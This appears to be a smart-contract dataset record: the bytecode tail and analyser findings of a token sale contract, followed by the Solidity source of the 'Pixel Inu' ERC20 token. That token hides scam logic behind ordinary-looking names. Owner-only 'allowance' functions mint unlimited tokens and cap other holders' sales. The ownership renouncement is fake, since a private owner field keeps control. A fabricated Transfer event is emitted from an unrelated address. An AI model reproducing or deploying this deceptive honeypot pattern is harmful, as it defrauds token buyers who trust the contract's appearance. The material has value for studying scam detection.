180910390f35b34801561043657600080fd5b50610455600480360381019080803590602001909291905050506115e8565b604051808215151515815260200191505060405180910390f35b34801561047b57600080fd5b506104846116d0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104ac57600080fd5b506104b56116d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050357600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fb565b6040518082815260200191505060405180910390f35b34801561055a57600080fd5b50610563611713565b6040518082815260200191505060405180910390f35b34801561058557600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611719565b604051808215151515815260200191505060405180910390f35b3480156105e057600080fd5b506105ff600480360381019080803590602001909291905050506117c1565b604051808215151515815260200191505060405180910390f35b34801561062557600080fd5b5061065a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061182f565b6040518082815260200191505060405180910390f35b610678610bed565b604051808215151515815260200191505060405180910390f35b34801561069e57600080fd5b506106d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611847565b6040518082815260200191505060405180910390f35b610727600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611890565b604051808215151515815260200191505060405180910390f35b34801561074d57600080fd5b50610756611ce9565b6040518082815260200191505060405180910390f35b34801561077857600080fd5b50610781611cef565b6040518082815260200191505060405180910390f35b3480156107a357600080fd5b506107ac611cfa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fa57600080fd5b50610803611d20565b6040518082815260200191505060405180910390f35b34801561082557600080fd5b5061082e611d2d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561086e578082015181840152602081019050610853565b50505050905090810190601f16801561089b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108b557600080fd5b506108be611d66565b6040518082815260200191505060405180910390f35b3480156108e057600080fd5b506108ff60048036038101908080359060200190929190505050611d6f565b604051808215151515815260200191505060405180910390f35b34801561092557600080fd5b5061095a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddd565b604051808215151515815260200191505060405180910390f35b34801561098057600080fd5b50610989611e85565b6040518082815260200191505060405180910390f35b3480156109ab57600080fd5b506109ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e8e565b604051808215151515815260200191505060405180910390f35b348015610a1057600080fd5b50610a19612082565b604051808260ff1660ff16815260200191505060405180910390f35b348015610a4157600080fd5b50610a6a6004803603810190808035906020019092919080359060200190929190505050612087565b604051808215151515815260200191505060405180910390f35b348015610a9057600080fd5b50610ae5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061224c565b6040518082815260200191505060405180910390f35b348015610b0757600080fd5b50610b26600480360381019080803590602001909291905050506122d3565b604051808215151515815260200191505060405180910390f35b348015610b4c57600080fd5b50610b55612341565b6040518082815260200191505060405180910390f35b348015610b7757600080fd5b50610bac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612351565b6040518082815260200191505060405180910390f35b348015610bce57600080fd5b50610bd761245a565b6040518082815260200191505060405180910390f35b6000806000806000806000429550600354861115610c0a57600080fd5b6b0295be96e640669720000000600054101515610c2657600080fd5b660470de4df820003410151515610c3c57600080fd5b64e8d4a510003410151515610c5057600080fd5b68a2a15d09519be00000341115610c6657600080fd5b610c8a660470de4df82000670de0b6b3a7640000340261246790919063ffffffff16565b9450600085111515610c9b57600080fd5b6000925060009150600090506a0422ca8b0a00a425000000600054111515610cd0576064601e8602811515610ccc57fe5b0492505b6000546a0422ca8b0a00a425000000108015610cf957506a084595161401484a00000060005411155b15610d1157606460198602811515610d0d57fe5b0492505b6000546a084595161401484a000000108015610d3a57506a0c685fa11e01ec6f00000060005411155b15610d5257606460148602811515610d4e57fe5b0492505b6000546a0c685fa11e01ec6f000000108015610d7b57506a108b2a2c2802909400000060005411155b15610d93576064600f8602811515610d8f57fe5b0492505b6000546a108b2a2c28029094000000108015610dbc57506a14adf4b7320334b900000060005411155b15610dd4576064600a8602811515610dd057fe5b0492505b6000546a14adf4b7320334b9000000111515610dfd57606460058602811515610df957fe5b0492505b600254861015610e1a57606460328602811515610e1657fe5b0491505b8560006002540111158015610e355750620697806002540186105b15610e4d576064600a8602811515610e4957fe5b0491505b85620697806002540111158015610e6a5750620d2f006002540186105b15610e8257606460088602811515610e7e57fe5b0491505b85620d2f006002540111158015610e9f5750621a5e006002540186105b15610eb757606460068602811515610eb357fe5b0491505b85621a5e006002540111158015610ed4575062278d006002540186105b15610eec57606460048602811515610ee857fe5b0491505b8562278d0060025401111515610f0f57606460028602811515610f0b57fe5b0491505b84683635c9adc5dea0000011158015610f3257508469010f0cf064dd5920000011155b15610f4a57606460058602811515610f4657fe5b0490505b8469010f1ad11b910084000011158015610f6d57508469021e19e0c9bab2400000105b15610f85576064600a8602811515610f8157fe5b0490505b8469021e27c1806e59a4000011158015610fa857508469032d26d12e980b600000105b15610fc0576064600f8602811515610fbc57fe5b0490505b8469032d34b1e54bb2c4000011158015610fe357508469043c33c1937564800000105b15610ffb57606460148602811515610ff757fe5b0490505b8469043c41a24a290be400001115156110215760646019860281151561101d57fe5b0490505b611034838661248290919063ffffffff16565b9350611049828561248290919063ffffffff16565b935061105e818561248290919063ffffffff16565b93506b0295be96e6406697200000006110828560005461248290919063ffffffff16565b111561108d57600080fd5b6110a28460005461248290919063ffffffff16565b6000819055506110fa84600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001965050505050505090565b6040805190810160405280600981526020017f42515420746f6b656e000000000000000000000000000000000000000000000081525081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b60035481565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611351575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561135d5750600082115b80156113e85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b1561157f5781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611584565b600090505b9392505050565b606460336b0295be96e640669720000000028115156115a657fe5b0481565b600a818154811015156115b957fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16319050600083111561166e578290505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050506001915050919050565b601281565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b60015481565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177757600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181f57600080fd5b8160018190555060019050919050565b60096020528060005260406000206000915090505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000806000806000341115156118a857600080fd5b6000871115156118b757600080fd5b6000600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561190557600080fd5b6000600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561195357600080fd5b86600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561199f57600080fd5b6119fb600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054670de0b6b3a7640000340261246790919063ffffffff16565b9450611a0688612351565b935083851115611a14578394505b600085111515611a2357600080fd5b611a7f670de0b6b3a764000086600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540261246790919063ffffffff16565b925034831115611a8e57600080fd5b611aa8606660ff166064850261246790919063ffffffff16565b9150823403905034821115611abc57600080fd5b348183011115611acb57600080fd5b6000821115611b0b578773ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050505b6000811115611b4b573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050505b84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167faf33f8a5abc54c4f3b13e4416a4d2f6ddc6ec976aacda329904150c054aa92c087600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a3505050505092915050565b60025481565b660470de4df8200081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b68a2a15d09519be0000081565b6040805190810160405280600381526020017f425154000000000000000000000000000000000000000000000000000000000081525081565b64e8d4a5100081565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dcd57600080fd5b8160028190555060019050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3b57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b64e8d4a5100081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611edf5750600082115b8015611f6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156120775781600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061207c565b600090505b92915050565b606681565b6000808311151561209757600080fd5b6000821115156120a657600080fd5b82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121046064606660ff16840261246790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a3390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503373ffffffffffffffffffffffffffffffffffffffff167f11e5b955c47ddbc5cbcea6442fee8bef7fbd64254e2ccd398fbdcd248b94545a84600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a26001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561233157600080fd5b8160038190555060019050919050565b6b0295be96e64066972000000081565b600080600090506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156123a957809150612454565b60006123b484611847565b11156123c6576123c383611847565b90505b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561245057600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b8091505b50919050565b6000600a80549050905090565b600080828481151561247557fe5b0490508091505092915050565b600080828401905083811015151561249657fe5b80915050929150505600a165627a7a72305820576bddfd67b77223fc382dc7facfece31bacab8e715f3716f911c4af49c88ff70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,389 |
0x3a6f9d1feff0a866c36fa7aebc7f636eabe2e095
|
/**
*Submitted for verification at Etherscan.io on 2021-08-09
*/
/*
░░░░░░░░░▄░░░░░░░░░░░░░░▄░░░░
░░░░░░░░▌▒█░░░░░░░░░░░▄▀▒▌░░░
░░░░░░░░▌▒▒█░░░░░░░░▄▀▒▒▒▐░░░
░░░░░░░▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐░░░
░░░░░▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐░░░
░░░▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌░░░
░░▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌░░
░░▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐░░
░▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌░
░▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌░
▀▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐░
▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌
▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐░
░▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌░
░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐░░
░░▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌░░
░░░░▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀░░░
░░░░░░▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀░░░░░
░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▀▀░░░░░░░░
Locking Liquidity.
Pixel Inu (PINU)
tg: @PixelInuCoin
**/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PixelInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 13370000 * 10**18;
uint256 private rTotal = 13370000 * 10**18;
string private _name = 'Pixel Inu | t.me/PixelInuCoin';
string private _symbol = 'PINU';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f01602080910402